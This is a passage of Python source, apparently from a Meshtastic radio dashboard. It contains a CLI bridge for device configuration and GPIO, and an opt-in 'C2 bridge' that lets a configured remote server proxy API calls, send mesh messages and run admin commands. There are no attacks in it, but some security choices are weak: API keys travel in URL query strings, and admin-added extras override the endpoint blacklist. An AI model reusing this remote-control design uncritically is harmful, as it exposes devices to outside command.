    token = request.cookies.get("access_token")
    if not token or not token.startswith("Bearer "):
        raise HTTPException(302, headers={"Location": "/login"})
    try:
        payload = jwt.decode(token.split(" ")[1], AUTH_SECRET_KEY, algorithms=[ALGORITHM])
        username = payload.get("sub")
        if username == "__c2_bridge__" and payload.get("internal"):
            return User(username="__c2_bridge__", disabled=False)
        if not username:
            raise JWTError("No username")
    except Exception:
        raise HTTPException(302, headers={"Location": "/login"})
    user = await asyncio.to_thread(db_manager.get_user, username)
    if not user or user["disabled"]:
        raise HTTPException(302, headers={"Location": "/login"})
    return User(**user)

# ---------------------------------------------------------------------------
# Meshtastic CLI bridge
# ---------------------------------------------------------------------------

def execute_meshtastic_command(cmd_line: str) -> str:
    """
    Fully featured 'meshtastic' CLI bridge.
    Supports: GPIO, Positioning, Channel Mgmt, Canned Msgs, Telemetry, etc.
    """
    logger.info(f"🔧 CONSOLE: Executing '{cmd_line}'")
    
    # --- 1. Connection Check ---
    if not connection_manager or not connection_manager.interface:
        return "Error: No active connection to a Meshtastic device."
    
    iface = connection_manager.interface
    local_node = iface.localNode
    output = io.StringIO()

    # --- 2. Arg Parsing Setup ---
    try:
        args = shlex.split(cmd_line)
        if args and args[0].lower() == "meshtastic":
            args = args[1:]
    except Exception as e:
        return f"Syntax Error: {e}"

    parser = argparse.ArgumentParser(prog="meshtastic", add_help=False)
    
    # > Info & Status
    parser.add_argument("--info", action="store_true")
    parser.add_argument("--nodes", action="store_true")
    parser.add_argument("--channels", action="store_true")
    parser.add_argument("--stats", action="store_true")
    parser.add_argument("--qr", action="store_true")
    
    # > Device Config
    parser.add_argument("--get", type=str)
    parser.add_argument("--set", nargs=2, metavar=("KEY", "VAL"))
    parser.add_argument("--seturl", type=str)
    parser.add_argument("--set-owner", type=str)
    parser.add_argument("--set-owner-short", type=str)
    parser.add_argument("--set-canned-message", type=str)
    parser.add_argument("--get-canned-message", action="store_true")
    
    # > Positioning (Fixed Position)
    parser.add_argument("--setlat", type=float)
    parser.add_argument("--setlon", type=float)
    parser.add_argument("--setalt", type=int)
    parser.add_argument("--remove-position", action="store_true")
    
    # > Channel Management
    parser.add_argument("--ch-index", type=int, default=0)
    parser.add_argument("--ch-add", type=str)     # Name
    parser.add_argument("--ch-del", action="store_true")
    parser.add_argument("--ch-enable", action="store_true")
    parser.add_argument("--ch-disable", action="store_true")
    parser.add_argument("--ch-set", nargs=2, metavar=("KEY", "VAL"))
    # Channel Presets (Shortcuts)
    parser.add_argument("--ch-longfast", action="store_true")
    parser.add_argument("--ch-longslow", action="store_true")
    parser.add_argument("--ch-medfast", action="store_true")
    parser.add_argument("--ch-medslow", action="store_true")
    parser.add_argument("--ch-shortfast", action="store_true")
    parser.add_argument("--ch-shortslow", action="store_true")

    # > Messaging & Trace
    parser.add_argument("--sendtext", type=str)
    parser.add_argument("--dest", type=str, default="^all")
    parser.add_argument("--traceroute", type=str)
    parser.add_argument("--request-telemetry", action="store_true")
    parser.add_argument("--request-position", action="store_true")
    
    # > Hardware / Admin
    parser.add_argument("--reboot", action="store_true")
    parser.add_argument("--shutdown", action="store_true")
    parser.add_argument("--factory-reset", action="store_true")
    parser.add_argument("--remove-node", type=str)
    
    # > GPIO (Remote Hardware)
    parser.add_argument("--gpio-wrb", nargs=2, type=int, metavar=("PIN", "STATE"))
    parser.add_argument("--gpio-rd", type=str) # Mask (hex string)
    parser.add_argument("--gpio-watch", type=str) # Mask (hex string)

    # > Help
    parser.add_argument("--help", "-h", action="store_true")

    # --- 3. Parse & Execute ---
    try:
        parsed, unknown = parser.parse_known_args(args)
        if unknown:
            return f"Error: Unrecognized arguments: {unknown}"
            
        with contextlib.redirect_stdout(output):
            if parsed.help:
                parser.print_help()
                return output.getvalue()

            # --- A. Device Configuration ---
            if parsed.set_canned_message:
                print(f"Setting canned messages to: {parsed.set_canned_message}")
                local_node.localConfig.canned_message.messages = parsed.set_canned_message
                local_node.writeConfig("canned_message")
                print("Written to device.")

            if parsed.get_canned_message:
                print(f"Canned Messages:\n{local_node.localConfig.canned_message.messages}")

            if parsed.set_owner:
                print(f"Setting owner name: {parsed.set_owner}")
                local_node.setOwner(long_name=parsed.set_owner)

            if parsed.set_owner_short:
                print(f"Setting short name: {parsed.set_owner_short}")
                local_node.setOwner(short_name=parsed.set_owner_short)

            if parsed.set:
                # --set config.option value
                path = parsed.set[0].split('.')
                val_str = parsed.set[1]
                if len(path) != 2:
                    print("Error: Use format 'section.option' (e.g. lora.region)")
                else:
                    try:
                        section = getattr(local_node.localConfig, path[0])
                        # Simple type inference
                        if val_str.lower() in ('true', 'yes'): val = True
                        elif val_str.lower() in ('false', 'no'): val = False
                        elif val_str.isdigit(): val = int(val_str)
                        else: val = val_str
                        
                        setattr(section, path[1], val)
                        local_node.writeConfig(path[0])
                        print(f"Set {parsed.set[0]} = {val}")
                    except Exception as e:
                        print(f"Config Error: {e}")

            if parsed.setlat is not None or parsed.setlon is not None or parsed.setalt is not None:
                print("Updating Fixed Position...")
                local_node.localConfig.position.fixed_position = True
                
                if parsed.setlat is not None:

                    local_node.localConfig.position.latitude_i = int(parsed.setlat * 1e7)
                    
                if parsed.setlon is not None:
                    local_node.localConfig.position.longitude_i = int(parsed.setlon * 1e7)
                    
                if parsed.setalt is not None:
                    local_node.localConfig.position.altitude = parsed.setalt
                
                local_node.writeConfig("position")
                print(f"Position updated. Fixed Mode: ENABLED.")

            if parsed.remove_position:
                print("Disabling Fixed Position and clearing coords...")
                local_node.localConfig.position.fixed_position = False
                local_node.localConfig.position.latitude_i = 0
                local_node.localConfig.position.longitude_i = 0
                local_node.localConfig.position.altitude = 0
                local_node.writeConfig("position")
                print("Done.")

            # --- C. Channel Management ---
            ch_idx = parsed.ch_index
            target_ch = local_node.channels[ch_idx] if ch_idx < len(local_node.channels) else None

            if parsed.ch_add:
                # Find first disabled channel or append
                found_idx = -1
                for c in local_node.channels:
                    if c.role == channel_pb2.Channel.Role.DISABLED:
                        found_idx = c.index
                        break
                
                if found_idx == -1:
                    # If all occupied (unlikely with 8 limit), fail
                    if len(local_node.channels) >= 8:
                        print("Error: No free channels available.")
                    else:
                        # API usually handles appending, but let's assume we use the provided index if valid
                        print(f"Adding channel '{parsed.ch_add}' at index {ch_idx}...")
                        ch = local_node.channels[ch_idx]
                        ch.settings.name = parsed.ch_add
                        ch.role = channel_pb2.Channel.Role.SECONDARY
                        local_node.writeChannel(ch_idx)
                        print("Channel added.")
                else:
                    # Use the found empty slot
                    print(f"Adding channel '{parsed.ch_add}' at free index {found_idx}...")
                    ch = local_node.channels[found_idx]
                    ch.settings.name = parsed.ch_add
                    ch.role = channel_pb2.Channel.Role.SECONDARY
                    local_node.writeChannel(found_idx)
                    print("Channel added.")

            if parsed.ch_del or parsed.ch_disable:
                print(f"Deleting/Disabling channel {ch_idx}...")
                ch = local_node.channels[ch_idx]
                ch.role = channel_pb2.Channel.Role.DISABLED
                local_node.writeChannel(ch_idx)
                print("Done.")

            if parsed.ch_enable:
                print(f"Enabling channel {ch_idx}...")
                ch = local_node.channels[ch_idx]
                if ch.role == channel_pb2.Channel.Role.DISABLED:
                    ch.role = channel_pb2.Channel.Role.SECONDARY
                local_node.writeChannel(ch_idx)
                print("Done.")

            if parsed.ch_set:
                key, val = parsed.ch_set
                print(f"Setting Ch {ch_idx} {key} = {val}...")
                ch = local_node.channels[ch_idx]
                
                # Handle boolean conversions
                if val.lower() == 'true': val = True
                elif val.lower() == 'false': val = False
                elif val.isdigit(): val = int(val)
                
                # Handle special keys
                if key == "psk":
                    if val == "none":
                        ch.settings.psk = b''
                    elif val == "random":
                        ch.settings.psk = secrets.token_bytes(32)
                    elif val == "default":
                        ch.settings.psk = b'\x01' # Standard default
                    else:
                        # Assumes simple string or base64? CLI usually does more parsing here
                        # For simple bridge, we accept base64 or raw string
                        import base64
                        try:
                            if val.startswith("base64:"):
                                ch.settings.psk = base64.b64decode(val.split(":")[1])
                            else:
                                # Fallback, not robust for hex keys
                                ch.settings.psk = val.encode() 
                        except:
                            print("Error parsing PSK")
                else:
                    # Standard attribute
                    if hasattr(ch.settings, key):
                        setattr(ch.settings, key, val)
                    else:
                        print(f"Unknown channel setting: {key}")
                
                local_node.writeChannel(ch_idx)
                print("Channel updated.")

            # Channel Presets
            modem_preset = None
            if parsed.ch_longfast: modem_preset = channel_pb2.ChannelSettings.ModemConfig.Bw125Cr48Sf4096
            if parsed.ch_longslow: modem_preset = channel_pb2.ChannelSettings.ModemConfig.Bw125Cr48Sf4096 # Map correctly if different
            if parsed.ch_medfast:  modem_preset = channel_pb2.ChannelSettings.ModemConfig.Bw250Cr46Sf2048
            
            if modem_preset:
                print(f"Applying Modem Preset to Primary Channel...")
                ch = local_node.channels[0] # Presets always apply to primary/LoRa config
                ch.settings.modem_config = modem_preset
                local_node.writeChannel(0)
                print("Preset applied.")

            # --- D. Remote Hardware (GPIO) ---
            # We use the 'dest' argument for the target node
            target_node = parsed.dest
            
            if parsed.gpio_wrb:
                pin, state = parsed.gpio_wrb
                if target_node == "^all":
                    print("Error: --dest required for GPIO operations")
                else:
                    print(f"Writing GPIO {pin} to {state} on {target_node}...")
                    rh = RemoteHardwareClient(iface)
                    # mask is bitwise: 1 << pin
                    mask = 1 << pin
                    # value is bitwise: state << pin
                    val = state << pin
                    rh.writeGPIOs(target_node, mask, val)
                    print("Command sent.")

            if parsed.gpio_rd:
                # Expects hex mask string like "0x10"
                try:
                    mask = int(parsed.gpio_rd, 0)
                    if target_node == "^all":
                        print("Error: --dest required")
                    else:
                        print(f"Reading GPIO mask {hex(mask)} from {target_node}...")
                        rh = RemoteHardwareClient(iface)
                        rh.readGPIOs(target_node, mask)
                        print("Request sent. Watch logs for 'RemoteHardware' packets.")
                except ValueError:
                    print("Error: Mask must be an integer or hex string (e.g. 0x10)")

            if parsed.gpio_watch:
                try:
                    mask = int(parsed.gpio_watch, 0)
                    if target_node == "^all":
                        print("Error: --dest required")
                    else:
                        print(f"Watching GPIO mask {hex(mask)} on {target_node}...")
                        rh = RemoteHardwareClient(iface)
                        rh.watchGPIOs(target_node, mask)
                        print("Watch started.")
                except ValueError:
                    print("Error: Mask must be hex string")

            # --- E. Standard Operations ---
            if parsed.info:
                print(f"Owner: {iface.getLongName()} ({iface.getShortName()})")
                print(f"Nodes: {len(iface.nodes)}")
                print(f"Firmware: {getattr(iface.metadata, 'firmware_version', '?')}")

            if parsed.nodes:
                print(f"{'ID':<12} {'Name':<20} {'SNR':<6} {'Last Heard'}")
                print("-" * 60)
                for n in iface.nodes.values():
                    nid = f"!{n.get('num', 0):08x}"
                    name = n.get("user", {}).get("longName", "Unknown")
                    snr = n.get("snr", 0.0)
                    lh = datetime.fromtimestamp(n.get("lastHeard", 0)).strftime("%H:%M") if n.get("lastHeard") else "Never"
                    print(f"{nid:<12} {name[:20]:<20} {snr:<6.2f} {lh}")

            if parsed.traceroute:
                # The fixed traceroute call with hopLimit
                print(f"Traceroute to {parsed.traceroute}...")
                iface.sendTraceRoute(parsed.traceroute, 3)
                print("Sent.")

            if parsed.sendtext:
                if main_event_loop:
                    future = asyncio.run_coroutine_threadsafe(
                        connection_manager.sendText(parsed.sendtext, destinationId=parsed.dest, channelIndex=parsed.ch_index),
                        main_event_loop,
                    )
                    try:
                        future.result(timeout=5)
                        print(f"Sent to {parsed.dest}")
                    except Exception as e:
                        print(f"Send Error: {e}")

            if parsed.reboot:
                print("Rebooting...")
                iface.reboot()

    except Exception as e:
        logger.error(f"Cmd Error: {e}", exc_info=True)
        return f"Error: {e}"

    return output.getvalue()
# ---------------------------------------------------------------------------
# C2 Bridge - Security & Tier definitions
# ---------------------------------------------------------------------------

C2_TIER_ENDPOINTS: Dict[str, Dict[str, Set[str]]] = {
    "heartbeat": {
        "GET": {"/api/status", "/api/stats"},
        "POST": set(),
    },
    "read": {
        "GET": {
            "/api/status", "/api/stats", "/api/nodes", "/api/nodes/*",
            "/api/packets", "/api/packets/history", "/api/messages/history",
            "/api/metrics/averages", "/api/counts/totals", "/api/neighbors",
            "/api/traceroutes", "/api/waypoints", "/api/hardware_logs",
            "/api/channels", "/api/local_node/full",
            "/api/system/connection_history", "/api/system/version-status",
        },
        "POST": set(),
    },
    "full": {
        "GET": {
            "/api/status", "/api/stats", "/api/nodes", "/api/nodes/*",
            "/api/packets", "/api/packets/history", "/api/messages/history",
            "/api/metrics/averages", "/api/counts/totals", "/api/neighbors",
            "/api/traceroutes", "/api/waypoints", "/api/hardware_logs",
            "/api/channels", "/api/local_node/full",
            "/api/system/connection_history", "/api/system/version-status",
        },
        "POST": {
            "/api/messages", "/api/console", "/api/alert",
            "/api/system/restart", "/api/system/start-update",
            "/api/system/check-update",
        },
    },
}

C2_ABSOLUTE_BLACKLIST: Set[str] = {
    "/api/system/config",
    "/api/system/config/update",
    "/api/system/config/initial-setup",
    "/login", "/logout", "/setup", "/sse", "/sse-debug",
}

C2_PARAM_LIMITS: Dict[str, Dict[str, int]] = {
    "/api/messages/history": {"limit": 10000},
    "/api/packets": {"limit": 10000},
    "/api/packets/history": {"limit": 10000},
    "/api/traceroutes": {"limit": 10000},
    "/api/hardware_logs": {"limit": 10000},
    "/api/metrics/averages": {"limit": 5000},
    "/api/system/connection_history": {"limit": 5000},
    "/api/nodes/*/history/*": {"limit": 10000},
    "/api/nodes/*/count/*": {},
}

_c2_logger = _logging.getLogger("c2_bridge")


def _resolve_tier_endpoints(tier_name: str, extra: Set[str] = None, blocked: Set[str] = None) -> Dict[str, Set[str]]:
    """Resolve final allowed endpoint sets for GET and POST."""
    if tier_name not in C2_TIER_ENDPOINTS:
        return {"GET": set(), "POST": set()}

    allowed: Dict[str, Set[str]] = {
        "GET": set(C2_TIER_ENDPOINTS[tier_name]["GET"]),
        "POST": set(C2_TIER_ENDPOINTS[tier_name]["POST"]),
    }
    # Remove blacklist from tier base first
    for bl in C2_ABSOLUTE_BLACKLIST:
        allowed["GET"].discard(bl)
        allowed["POST"].discard(bl)

    # Add extras (override blacklist by admin intent)
    if extra:
        for ep in extra:
            ep = ep.strip()
            if not ep:
                continue
            allowed["GET"].add(ep)
            if any(verb in ep.lower() for verb in
                   ["send", "message", "console", "alert", "restart", "update", "setup", "config", "monitor", "extract"]):
                allowed["POST"].add(ep)

    # Remove explicitly blocked last
    if blocked:
        for ep in blocked:
            ep = ep.strip()
            allowed["GET"].discard(ep)
            allowed["POST"].discard(ep)

    return allowed


def _path_matches_pattern(path: str, patterns: Set[str]) -> bool:
    path = path.rstrip("/")
    for pattern in patterns:
        pattern = pattern.rstrip("/")
        if path == pattern:
            return True
        if "*" in pattern and fnmatch.fnmatch(path, pattern):
            return True
    return False


def _clamp_params(path: str, params: dict) -> dict:
    if not params:
        return params
    for pattern, limits in C2_PARAM_LIMITS.items():
        if fnmatch.fnmatch(path, pattern) or path == pattern:
            for param_name, max_val in limits.items():
                if param_name in params:
                    try:
                        val = int(params[param_name])
                        if val > max_val:
                            _c2_logger.warning(f"🛡️ C2 clamped {param_name}={val} → {max_val} for {path}")
                            params[param_name] = max_val
                    except (ValueError, TypeError):
                        pass
            break
    return params


def _sanitize_path(path: str) -> str:
    if not path or not isinstance(path, str):
        return ""
    if not path.startswith("/"):
        path = "/" + path
    if ".." in path or "//" in path:
        _c2_logger.warning(f"🛡️ C2 blocked path traversal attempt: {path}")
        return ""
    if "?" in path:
        path = path.split("?")[0]
    if not re.match(r"^[a-zA-Z0-9/_\-\.!]+$", path):
        _c2_logger.warning(f"🛡️ C2 blocked suspicious path characters: {path}")
        return ""
    return path


def _sign_payload(payload_bytes: bytes, api_key: str) -> str:
    return hmac.new(
        api_key.encode("utf-8"),
        payload_bytes,
        hashlib.sha256,
    ).hexdigest()


def _c2_headers(api_key: str, node_id: str, extra: dict = None) -> dict:
    h = {
        "Content-Type": "application/json",
        "X-Api-Key": api_key,
        "X-Node-Id": node_id or "unknown",
    }
    if extra:
        h.update(extra)
    return h


def _c2_query(api_key: str, node_id: str, action: str) -> str:
    from urllib.parse import quote
    return f"?action={action}&api_key={quote(api_key)}&node_id={quote(node_id or 'unknown')}"

# ---------------------------------------------------------------------------
# C2 Activity Logger
# ---------------------------------------------------------------------------

class C2ActivityLogger:
    def __init__(self, maxlen=200):
        self.logs: deque = deque(maxlen=maxlen)
        self.stats: Dict[str, Any] = {
            "heartbeats_sent": 0,
            "heartbeat_failures": 0,
            "proxy_requests_received": 0,
            "proxy_responses_sent": 0,
            "outbox_messages_forwarded": 0,
            "admin_commands_received": 0,
            "admin_responses_sent": 0,
            "last_contact": None,
            "last_error": None,
            "last_error_time": None,
        }

    def add_entry(self, direction: str, type_: str, details: dict):
        self.logs.append({
            "timestamp": time.time(),
            "direction": direction,
            "type": type_,
            "details": details,
        })

    def get_snapshot(self) -> Dict:
        return {"logs": list(self.logs), "stats": self.stats.copy()}


c2_activity = C2ActivityLogger()

# ---------------------------------------------------------------------------
# Remote C2 Bridge Worker
# ---------------------------------------------------------------------------

async def remote_c2_worker_enhanced():
    """Secure C2 Bridge Worker with full activity logging."""
    c2_enabled = loaded_config.get("COMMUNITY_API", False)
    c2_url = _resolve_community()
    c2_key = loaded_config.get("COMMUNITY_API_KEY", "")
    access_level = str(loaded_config.get("C2_ACCESS_LEVEL", "read")).lower().strip()
    extra_eps = set(str(loaded_config.get("C2_EXTRA_ENDPOINTS", "")).split("|")) - {""}
    blocked_eps = set(str(loaded_config.get("C2_BLOCKED_ENDPOINTS", "")).split("|")) - {""}
    max_requests_per_sync = int(loaded_config.get("C2_MAX_REQUESTS_PER_SYNC", 10))
    max_response_kb = int(loaded_config.get("C2_MAX_RESPONSE_KB", 512))
    sync_interval = int(loaded_config.get("C2_SYNC_INTERVAL_SECONDS", 15))

    if not c2_enabled or "REPLACE_ME" in c2_key:
        _c2_logger.info("🚫 Remote C2 Bridge is DISABLED.")
        return

    if access_level == "off":
        _c2_logger.info("🚫 Remote C2 Bridge is DISABLED (access_level=off).")
        return

    if access_level not in ("heartbeat", "read", "full"):
        _c2_logger.error(f"❌ Invalid C2_ACCESS_LEVEL '{access_level}'. Defaulting to 'heartbeat'.")
        access_level = "heartbeat"

    allowed_endpoints = _resolve_tier_endpoints(access_level, extra_eps, blocked_eps)
    _c2_logger.info(f"🌍 Remote C2 Bridge Active | Level: {access_level.upper()}")

    local_base = f"http://127.0.0.1:{WEBSERVER_PORT}"
    local_limits = httpx.Limits(max_keepalive_connections=5, max_connections=10)
    local_timeout = httpx.Timeout(15.0, connect=5.0)
    remote_limits = httpx.Limits(max_keepalive_connections=3, max_connections=5)
    remote_timeout = httpx.Timeout(30.0, connect=10.0)
    audit_log = logging.getLogger("c2_audit")
    consecutive_errors = 0
    MAX_BACKOFF_SECONDS = 300

    async with (
        httpx.AsyncClient(limits=local_limits, timeout=local_timeout) as local_client,
        httpx.AsyncClient(limits=remote_limits, timeout=remote_timeout) as remote_client,
    ):
        def radio_ready() -> bool:
            return (
                connection_manager is not None
                and connection_manager.is_ready.is_set()
                and meshtastic_data.local_node_id is not None
            )

        async def proxy_request(req: dict) -> dict:
            req_id = req.get("id", "unknown")
            method = str(req.get("method", "GET")).upper()
            raw_path = str(req.get("path", ""))
            params = req.get("params") or {}
            result: Dict[str, Any] = {"id": req_id, "status": 403, "data": None, "error": None}

            path = _sanitize_path(raw_path)
            if not path:
                result["error"] = "Invalid path"
                result["status"] = 400
                audit_log.warning(f"BLOCKED | {method} {raw_path} | Reason: sanitization failed")
                c2_activity.add_entry("incoming", "proxy_request_blocked", {"path": raw_path, "reason": "sanitization"})
                return result

            if method not in ("GET", "POST"):
                result["error"] = f"Method {method} not allowed"
                result["status"] = 405
                audit_log.warning(f"BLOCKED | {method} {path} | Reason: invalid method")
                c2_activity.add_entry("incoming", "proxy_request_blocked", {"method": method, "path": path})
                return result

            explicitly_allowed = _path_matches_pattern(path, extra_eps) if extra_eps else False

            if not explicitly_allowed:
                for bl in C2_ABSOLUTE_BLACKLIST:
                    if path == bl or path.startswith(bl + "/"):
                        result["error"] = "Endpoint permanently blocked"
                        result["status"] = 403
                        audit_log.warning(f"BLOCKED | {method} {path} | Reason: absolute blacklist")
                        c2_activity.add_entry("incoming", "proxy_request_blocked", {"path": path, "reason": "blacklist"})
                        return result

            if not _path_matches_pattern(path, allowed_endpoints.get(method, set())):
                result["error"] = f"Endpoint not allowed at tier '{access_level}'"
                result["status"] = 403
                audit_log.warning(f"BLOCKED | {method} {path} | Reason: not in {access_level} tier")
                c2_activity.add_entry("incoming", "proxy_request_blocked", {"path": path, "reason": "tier"})
                return result

            if isinstance(params, dict):
                params = _clamp_params(path, params)

            c2_activity.stats["proxy_requests_received"] += 1
            c2_activity.add_entry("incoming", "proxy_request", {"id": req_id, "method": method, "path": path, "params": params})

            try:
                url = f"{local_base}{path}"
                internal_token = create_access_token(
                    {"sub": "__c2_bridge__", "internal": True},
                    expires_delta=timedelta(seconds=30),
                )
                cookies = {"access_token": f"Bearer {internal_token}"}
                if method == "GET":
                    resp = await local_client.get(url, params=params, cookies=cookies)
                else:
                    resp = await local_client.post(url, json=params, cookies=cookies)

                body_bytes = resp.content
                size_kb = len(body_bytes) / 1024
                if size_kb > max_response_kb:
                    result["status"] = 413
                    result["error"] = f"Response too large: {size_kb:.0f}KB (limit: {max_response_kb}KB)"
                    audit_log.warning(f"CAPPED  | {method} {path} | Size: {size_kb:.0f}KB > {max_response_kb}KB")
                    c2_activity.add_entry("outgoing", "proxy_response", {"id": req_id, "status": 413, "size_kb": size_kb})
                    return result

                result["status"] = resp.status_code
                try:
                    result["data"] = resp.json()
                except Exception:
                    result["data"] = resp.text[:max_response_kb * 1024]

                audit_log.info(f"PROXIED | {method} {path} | Status: {resp.status_code} | Size: {size_kb:.1f}KB")
                c2_activity.stats["proxy_responses_sent"] += 1
                c2_activity.add_entry("outgoing", "proxy_response", {"id": req_id, "status": resp.status_code, "size_kb": size_kb})

            except httpx.ConnectError:
                result["status"] = 502
                result["error"] = "Local API unreachable"
                audit_log.error(f"ERROR   | {method} {path} | Local API connection refused")
                c2_activity.add_entry("outgoing", "proxy_response", {"id": req_id, "status": 502, "error": "Local API unreachable"})
            except httpx.TimeoutException:
                result["status"] = 504
                result["error"] = "Local API timeout"
                audit_log.error(f"ERROR   | {method} {path} | Local API timed out")
                c2_activity.add_entry("outgoing", "proxy_response", {"id": req_id, "status": 504, "error": "Timeout"})
            except Exception as e:
                result["status"] = 500
                result["error"] = f"Proxy error: {type(e).__name__}"
                audit_log.error(f"ERROR   | {method} {path} | {type(e).__name__}: {e}")
                c2_activity.add_entry("outgoing", "proxy_response", {"id": req_id, "status": 500, "error": str(e)})

            return result

        async def build_heartbeat() -> dict:
            stats = meshtastic_data.get_serializable_stats()
            node_id = meshtastic_data.local_node_id or "unknown"
            return {
                "action": "c2_heartbeat",
                "version": "2.1",
                "api_key": c2_key,
                "node_id": node_id,
                "access_level": access_level,
                "status": meshtastic_data.connection_status,
                "node_count": len(meshtastic_data.nodes),
                "packets_session": stats.get("packets_received_session", 0),
                "uptime": stats.get("elapsed_time_session", 0),
                "timestamp": time.time(),
                "available_endpoints": {
                    "GET": sorted(allowed_endpoints["GET"]),
                    "POST": sorted(allowed_endpoints["POST"]),
                },
            }

        _c2_logger.info("✅ C2 Bridge: Entering main sync loop.")
        c2_activity.add_entry("system", "startup", {"level": access_level})

        while True:
            try:
                if not radio_ready():
                    await asyncio.sleep(5)
                    continue

                heartbeat = await build_heartbeat()
                payload_json = json.dumps(ensure_serializable(heartbeat))
                signature = _sign_payload(payload_json.encode(), c2_key)
                _node_id = heartbeat.get("node_id") or meshtastic_data.local_node_id or "unknown"

                c2_activity.stats["heartbeats_sent"] += 1
                c2_activity.add_entry("outgoing", "heartbeat", {"node_id": _node_id, "url": c2_url})

                try:
                    resp = await remote_client.post(
                        f"{c2_url}{_c2_query(c2_key, _node_id, 'c2_sync')}",
                        content=payload_json,
                        headers=_c2_headers(c2_key, _node_id, {"X-Signature": signature, "X-Access-Level": access_level}),
                    )
                    c2_activity.add_entry("incoming", "sync_response", {"status_code": resp.status_code})

                    if resp.status_code == 403:
                        _c2_logger.error("❌ C2 Auth Failed: API Key rejected.")
                        c2_activity.stats["heartbeat_failures"] += 1
                        c2_activity.stats["last_error"] = "Auth failed (403)"
                        c2_activity.stats["last_error_time"] = time.time()
                        consecutive_errors += 1
                        await asyncio.sleep(min(60 * consecutive_errors, MAX_BACKOFF_SECONDS))
                        continue

                    if resp.status_code != 200:
                        _c2_logger.warning(f"⚠️ C2 server returned {resp.status_code}")
                        c2_activity.stats["heartbeat_failures"] += 1
                        consecutive_errors += 1
                        await asyncio.sleep(min(10 * consecutive_errors, MAX_BACKOFF_SECONDS))
                        continue

                    consecutive_errors = 0
                    c2_activity.stats["last_contact"] = time.time()
                    data = resp.json()

                    # Handle proxy requests from server
                    requests_from_server = data.get("requests", [])
                    if requests_from_server:
                        if not isinstance(requests_from_server, list):
                            requests_from_server = []
                        if len(requests_from_server) > max_requests_per_sync:
                            _c2_logger.warning(f"🛡️ C2 sent {len(requests_from_server)} requests, capping to {max_requests_per_sync}")
                            requests_from_server = requests_from_server[:max_requests_per_sync]

                        proxy_results = []
                        for req in requests_from_server:
                            if not isinstance(req, dict):
                                continue
                            proxy_results.append(await proxy_request(req))

                        if proxy_results:
                            results_payload = json.dumps(ensure_serializable({
                                "action": "c2_proxy_results",
                                "api_key": c2_key,
                                "node_id": meshtastic_data.local_node_id,
                                "results": proxy_results,
                                "timestamp": time.time(),
                            }))
                            results_sig = _sign_payload(results_payload.encode(), c2_key)
                            try:
                                await remote_client.post(
                                    f"{c2_url}{_c2_query(c2_key, _node_id, 'c2_proxy_results')}",
                                    content=results_payload,
                                    headers=_c2_headers(c2_key, _node_id, {"X-Signature": results_sig}),
                                )
                                _c2_logger.debug(f"📤 Sent {len(proxy_results)} proxy results")
                            except Exception as e:
                                _c2_logger.error(f"❌ Failed to send proxy results: {e}")
                                c2_activity.add_entry("error", "send_proxy_results_failed", {"error": str(e)})

                    # Handle outbox messages
                    outbox = data.get("outbox", [])
                    if outbox and access_level == "full":
                        for msg in outbox[:10]:
                            if not isinstance(msg, dict):
                                continue
                            msg_text = str(msg.get("message", ""))[:500]
                            dest = str(msg.get("to_id", "^all"))
                            chan = int(msg.get("channel", 0))
                            msg_id = msg.get("id")
                            if not msg_text:
                                continue
                            _c2_logger.info(f"📤 C2 Outbox → mesh: dest={dest} ch={chan}")
                            audit_log.info(f"OUTBOX  | dest={dest} ch={chan} | msg={msg_text[:80]}")
                            c2_activity.stats["outbox_messages_forwarded"] += 1
                            c2_activity.add_entry("outgoing", "outbox_message", {"to_id": dest, "channel": chan, "message_preview": msg_text[:80]})
                            try:
                                await connection_manager.sendText(msg_text, destinationId=dest, channelIndex=chan)
                                meshtastic_data.add_packet({
                                    "fromId": meshtastic_data.local_node_id,
                                    "toId": dest,
                                    "channel": chan,
                                    "decoded": {"payload": msg_text},
                                    "app_packet_type": "Message",
                                    "rxTime": int(time.time()),
                                })
                                if msg_id:
                                    await remote_client.post(
                                        f"{c2_url}{_c2_query(c2_key, _node_id, 'confirm_sent')}",
                                        json={"msg_id": msg_id, "api_key": c2_key, "node_id": _node_id},
                                        headers=_c2_headers(c2_key, _node_id),
                                    )
                            except Exception as e:
                                _c2_logger.error(f"❌ Outbox send failed: {e}")
                                c2_activity.add_entry("error", "outbox_failed", {"error": str(e), "to": dest})
                    elif outbox and access_level != "full":
                        _c2_logger.warning(f"🛡️ C2 sent outbox messages but tier is '{access_level}' (need full).")
                        audit_log.warning(f"BLOCKED | Outbox ({len(outbox)} msgs) | Reason: tier '{access_level}'")
                        c2_activity.add_entry("incoming", "outbox_blocked", {"count": len(outbox), "reason": "tier"})

                    # Handle admin commands
                    admin_cmd = data.get("admin_command")
                    if admin_cmd and access_level == "full":
                        cmd_str = str(admin_cmd)[:500]
                        _c2_logger.info(f"🛠️ C2 Admin Command: {cmd_str}")
                        audit_log.info(f"ADMIN   | Command: {cmd_str}")
                        c2_activity.stats["admin_commands_received"] += 1
                        c2_activity.add_entry("incoming", "admin_command", {"command": cmd_str})
                        try:
                            result_str = await asyncio.to_thread(execute_meshtastic_command, cmd_str)
                            await remote_client.post(
                                f"{c2_url}{_c2_query(c2_key, _node_id, 'command_result')}",
                                json={"result": str(result_str)[:5000], "api_key": c2_key, "node_id": _node_id},
                                headers=_c2_headers(c2_key, _node_id),
                            )
                            c2_activity.stats["admin_responses_sent"] += 1
                            c2_activity.add_entry("outgoing", "admin_response", {"preview": str(result_str)[:100]})
                        except Exception as e:
                            _c2_logger.error(f"❌ Admin command failed: {e}")
                            c2_activity.add_entry("error", "admin_command_failed", {"error": str(e)})
                    elif admin_cmd and access_level != "full":
                        _c2_logger.warning(f"🛡️ C2 sent admin command but tier is '{access_level}' (need full).")
                        audit_log.warning(f"BLOCKED | Admin cmd: {str(admin_cmd)[:80]} | Reason: tier '{access_level}'")
                        c2_activity.add_entry("incoming", "admin_blocked", {"command": str(admin_cmd)[:80]})

                except httpx.RequestError as e:
                    _c2_logger.debug(f"C2 network error: {type(e).__name__}: {e}")
                    c2_activity.stats["heartbeat_failures"] += 1
                    c2_activity.stats["last_error"] = str(e)
                    c2_activity.stats["last_error_time"] = time.time()
                    c2_activity.add_entry("error", "network_error", {"error": str(e)})
                    consecutive_errors += 1
                except json.JSONDecodeError:
                    _c2_logger.warning("⚠️ C2 server returned invalid JSON")
                    c2_activity.stats["heartbeat_failures"] += 1
                    c2_activity.stats["last_error"] = "Invalid JSON response"
                    c2_activity.stats["last_error_time"] = time.time()
                    c2_activity.add_entry("error", "bad_json", {})
                    consecutive_errors += 1
                except Exception as e:
